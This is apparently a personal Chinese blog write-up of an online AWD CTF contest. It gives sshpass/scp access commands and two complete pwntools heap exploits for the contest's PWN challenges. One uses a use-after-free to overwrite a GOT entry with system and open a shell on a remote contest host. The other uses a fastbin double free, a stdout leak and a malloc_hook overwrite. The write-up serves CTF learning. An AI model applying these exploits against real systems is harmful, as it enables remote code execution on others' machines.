XMAWD

记一次线上AWD,有幸受星盟邀请参加了其四月的线上AWD比赛,十分感谢.

其实这算第二次线上AWD了,但是第一次我太菜了,等我写好EXP,其他师傅已经把血拿了,并且已经patch程序,一直在划水,这一次才算是我第一次参加,之前那次什么都没有弄清楚,然而这次依旧划水.

简介

首先比赛是从2点整开始直到5点整,AWD比赛给了五个题,其中三个WEB两个PWN,最初PWN题只放了一个PWN2,但是我下载不了文件,ssh连接不上,一直在那里折腾了大概一个小时,然后用sshpass交互连接上了服务器,用scp把文件下载了下来

1
sshpass -p 'passwd' ssh -p port name@ip
2
sshpass -p 'passswd' scp -P port name@ip

期间

我和另外一个师傅一起做PWN题,等我拿到文件时,pwn2也才准备patch
看了下环境PWN2是libc2.23下,这个题和安恒月赛的sales_office类似,UAF,功能齐全,简单就getshell,然而我方PWN2端口已经被干穿了,文件也被bash内置命令改成2333,而我又没有备份,估计被check检测到扣了不少分,于是用了RENEW重新生成镜像,又尝试其他队伍的端口,要么patch了要么和我们一样被干穿了

1
from pwn import*
2
def new(index,size,content):
3
	p.sendlineafter('Choice','1')
4
	p.sendlineafter('index>>',str(index))
5
	p.sendlineafter('size>>',str(size))
6
	p.sendafter('name>>',content)
7
def free(index):
8
	p.sendlineafter('Choice','2')
9
	p.sendlineafter('index>>',str(index))
10
def edit(index,content):
11
	p.sendlineafter('Choice','3')
12
	p.sendlineafter('index>>',str(index))
13
	p.sendafter('name>>',content)
14
def show(index):
15
	p.sendlineafter('Choice','5')
16
	p.sendlineafter('index>>',str(index))
17
#p = process('./main')
18
p = remote('39.100.119.37',40780)
19
elf =ELF('./main')
20
libc =ELF('./libc-2.23.so')
21
new(0,0x10,'FMYY')
22
new(1,0x10,'FMYY')
23
new(6,0x10,'FMYY')
24
new(7,0x10,'FMYY')
25
free(0)
26
free(0)
27
new(2,0x20,'FMYY')
28
new(3,0x10,p64(0x30) + p64(elf.got['__libc_start_main']))
29
show(0)
30
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__libc_start_main']
31
log.info('LIBC:\t' + hex(libc_base))
32
malloc_hook = libc_base + libc.sym['__malloc_hook']
33
rce = libc_base + 0xF1147
34
system = libc_base + libc.sym['system']
35
free(6)
36
free(6)
37
new(9,0x20,'FMYY')
38
new(10,0x10,p64(8)+p64(elf.got['atol']))
39
edit(6,p64(system))
40
p.sendlineafter('Choice','/bin/sh\x00')
41
p.interactive()

然后就是PWN1了,做这个题的时候人完全是懵的,找不到思路,一直磨磨蹭蹭的等比赛完了还没有做出来,然后又从晚上8点一直做到1点多才搞出来,有想法但是想法不一会就混乱了,其实就是伪造一个double free,利用overlap将一个指针块包裹,且在某块地址处布置好一个fd指向malloc_hook-0x23的块

1
from pwn import*
2
def new(size,content):
3
	p.sendlineafter('choice:','1')
4
	p.sendlineafter('secret?',str(size))
5
	p.sendafter('secret:',content)
6
def free(index):
7
	p.sendlineafter('choice:','2')
8
	p.sendlineafter('drop off?',str(index))
9
p = process('./main')
10
libc =ELF('./libc-2.23.so')
11
context.log_level ='DEBUG'
12
p.sendline('FMYY')
13
new(0x10,'FMYY')#0
14
new(0x10,'FMYY')#1
15
new(0x10,'FMYY')#2
16
new(0x10,'FMYY')#3
17
new(0x10,'FMYY')#4
18
new(0x70,'FMYY')#5
19
new(0x20,'FMYY')#6
20
free(6)
21
free(2)
22
free(1)
23
new(0x60,'FMYY')#7
24
new(0x80,p64(0)*7 + p64(0x71))#8
25
new(0x50,p64(0)*3 + p64(0x41))#9
26
free(0)
27
free(0)
28
new(0x20,p64(0) + p64(0x141))#10
29
new(0x10,p64(0x10) + '\x20')#11
30
free(0)
31
free(5)
32
new(0x60,'FMYY')#12
33
new(0x50,'FMYY')#13
34
free(8)
35
new(0x80,p64(0)*7 + p64(0x71) + '\xDD\x25')#14
36
free(12)
37
free(7)
38
free(12)
39
new(0x60,p64(0)*2 + p64(0) + p64(0x71) + '\xE0')#15
40
new(0x60,'FMYY')#16
41
new(0x60,'FMYY')#17
42
free(3)
43
new(0x60,'\x00'*0x33 + p64(0xFBAD1800) + p64(0)*3 + '\x88')#18
44
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_']
45
log.info('LIBC:\t' + hex(libc_base))
46
malloc_hook = libc_base + libc.sym['__malloc_hook']
47
rce = libc_base + 0xF02A4
48
free(16)
49
free(17)
50
free(16)
51
new(0x60,p64(malloc_hook - 0x23))#19
52
new(0x60,'FMYY')#20
53
new(0x60,'FMYY')#21
54
free(13)
55
new(0x60,'\x00'*0x13 + p64(rce))#22
56
free(20)
57
free(20)
58
p.interactive()

附件:没有,看看就行

总结

这才算是第一次参加AWD比赛,效果十分不好,全靠队友做WEB题拉分,从这次比赛中也意识到自己的积累不足,导致就是思路不清晰,做题速度提不上来,还有就是patch这方面还没学会,学长给了Homura学长的仓库地址,有个WAF脚本也没仔细看,好多好多的pwn知识还很欠缺,可能估计也许是最近真的变成懒狗了,争取调整一下状态

Contents
  1. 1. 简介
  2. 2. 期间
  3. 3. 总结
|